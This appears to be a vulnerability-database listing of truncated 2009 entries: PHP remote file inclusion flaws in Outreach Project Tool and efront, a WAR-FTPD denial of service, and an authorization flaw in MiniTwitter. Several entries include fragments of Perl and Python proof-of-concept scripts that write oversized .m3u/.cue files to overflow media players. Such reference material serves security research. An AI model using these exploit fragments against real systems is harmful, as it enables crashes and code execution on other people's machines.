CVE-2009-4082

CVE-2009-4082 affects Outreach Project Tool (OPT) up to version 1.2.7, where the PHP remote file inclusion vulnerability resides in forums/Forum_Include/index.php via the CRM_path parameter. The underlying issue allows an attacker to execute arbitrary PHP code by supplying a crafted URL. Connecte...

CVE-2009-4082

PHP remote file inclusion vulnerability in forums/ForumInclude/index.php in Outreach Project Tool OPT 1.2.7 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the CRMpath parameter...

CVE-2009-4082: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in forums/ForumInclude/index.php in Outreach Project Tool OPT 1.2.7 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the CRMpath parameter...

efront 3.5.4 Remote File Inclusion

efront = 3.5.4 Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/efrontlearning/files/ Author : cr4wl3r Contact : cr4wl3r4tlinuxmaildotorg Location : Gorontalo - INDONESIA file : database.php line 15 requireonce$path.'adodb/adodb.inc.php'; 3xplo!t :...

efront <= 3.5.4 (database.php path) Remote File Inclusion Vulnerability

No description provided by source. efront = 3.5.4 Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/efrontlearning/files/ Author : cr4wl3r Contact : cr4wl3r4tlinuxmaildotorg Location : Gorontalo - INDONESIA file : database.php line 15...

efront 3.5.4 - 'database.php?path' Remote File Inclusion

efront = 3.5.4 Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/efrontlearning/files/ Author : cr4wl3r Contact : cr4wl3r4tlinuxmaildotorg Location : Gorontalo - INDONESIA file : database.php line 15 requireonce$path.'adodb/adodb.inc.php'; 3xplo!t :...

Nokia Multimedia Player 1.1 Stack Overflow

=========================================================== Nokia Multimedia Player 1.1 .npl Local Stack Overflow POC =========================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ ...

WAR-FTPD 1.65 (MKD/CD Requests) Denial of Service Vuln

No description provided by source. WAR-FTPD 1.65 MKD & CD requests Remote Denial of Service exploited by opt!x hacker mail: [email protected] greetz to his0k4 about : http://securityreason.com/exploitalert/6971 you have to connect to target server from cmd like that: i sended it with perl and python...

War-FTPD 1.65 - MKD/CD Requests Denial of Service

WAR-FTPD 1.65 MKD & CD requests Remote Denial of Service exploited by opt!x hacker mail: [email protected] greetz to his0k4 about : http://securityreason.com/exploitalert/6971 you have to connect to target server from cmd like that: i sended it with perl and python scripts but it's not working because i...

WAR-FTPD 1.65 Denial Of Service

WAR-FTPD 1.65 MKD & CD requests Remote Denial of Service exploited by opt!x hacker mail: [email protected] greetz to his0k4 about : http://securityreason.com/exploitalert/6971 you have to connect to target server from cmd like that: i sended it with perl and python scripts but it's not working because i...

iRehearse Stack Overflow

!/usr/bin/perl iRehearse m3u local stack overlow POC finded by opt!x hacker download : http://rjvmedia.co.uk/software/iRehearseTrial.zip my $header="MILW0RM"; my $crash="A" x 40; my $poc=$header.$crash; openmyfile,'aidi.m3u'; print myfile $poc;...

FoxPlayer 1.1.0 - .m3u Local Buffer Overflow (PoC)

FoxPlayer 1.1.0 - .m3u Local Buffer Overflow PoC !/usr/bin/perl FoxPlayer 1.1.0 m3u local stack overlow POC finded by opt!x hacker download : http://files.brothersoft.com/regnow/fox-player-setup.exe my $header="M3u"; my $crash="A" x 11500; my $poc=$crash; openmyfile,'AIDI.m3u'; print myfile $poc;...

iRehearse - .m3u Local Buffer Overflow (PoC)

iRehearse - .m3u Local Buffer Overflow PoC !/usr/bin/perl iRehearse m3u local stack overlow POC finded by opt!x hacker download : http://rjvmedia.co.uk/software/iRehearseTrial.zip my $header="MILW0RM"; my $crash="A" x 40; my $poc=$header.$crash; openmyfile,'aidi.m3u'; print myfile $poc; milw0rm.c...

MediaCoder 0.7.1.4488 Buffer Overflow

!/usr/bin/perl + software : MediaCoder 0.7.1.4488 .lst & .m3u Universal Buffer overflow SEH + Author : opt!x hacker + greetz to germayax because he finds an exploit in MediaCoder 0.7.1.4486 + download :http://www.mediacoderhq.com/dlfull.htm + tested under: SP2 FR windows/exec - 153 bytes Encoder:...

iRehearse - '.m3u' Local Buffer Overflow (PoC)

!/usr/bin/perl iRehearse m3u local stack overlow POC finded by opt!x hacker download : http://rjvmedia.co.uk/software/iRehearseTrial.zip my $header="MILW0RM"; my $crash="A" x 40; my $poc=$header.$crash; openmyfile,'aidi.m3u'; print myfile $poc; milw0rm.com 2009-08-07...

ImTOO MPEG Encoder 3.1.53 - .cue .m3u Local Buffer Overflow (PoC)

ImTOO MPEG Encoder 3.1.53 - .cue .m3u Local Buffer Overflow PoC !/usr/bin/python print "ImTOO MPEG Encoder 3.1.53 .cue/.m3u local stack overlow POC" print " finded by : opt!x hacker " print "download: http://www.soft32.com/download/63-300154-1/mpeg-encoder.exe " junk = "\x41"4...

ImTOO MPEG Encoder 3.1.53 Overflow

!/usr/bin/python print "ImTOO MPEG Encoder 3.1.53 .cue/.m3u local stack overlow POC" print " finded by : opt!x hacker " print "download: http://www.soft32.com/download/63-300154-1/mpeg-encoder.exe " junk = "\x41"4 file=open"crash.m3u","w" file=open"crash.cue","w" file.writejunk file.close...

Deserialization of untrusted data

index.php in MiniTwitter 0.2 beta allows remote authenticated users to modify certain options of arbitrary accounts via an opt action...

CVE-2009-2574

CVE-2009-2574 affects MiniTwitter 0.2 beta. The flaw in index.php lets remote authenticated users modify certain options of arbitrary accounts via an opt action. Exploitation is documented (Exploit-DB) and related references link to insecure parameter handling; CVSS from NVD indicates a medium ri...

CVE-2009-2574: Undefined Security Weakness

index.php in MiniTwitter 0.2 beta allows remote authenticated users to modify certain options of arbitrary accounts via an opt action...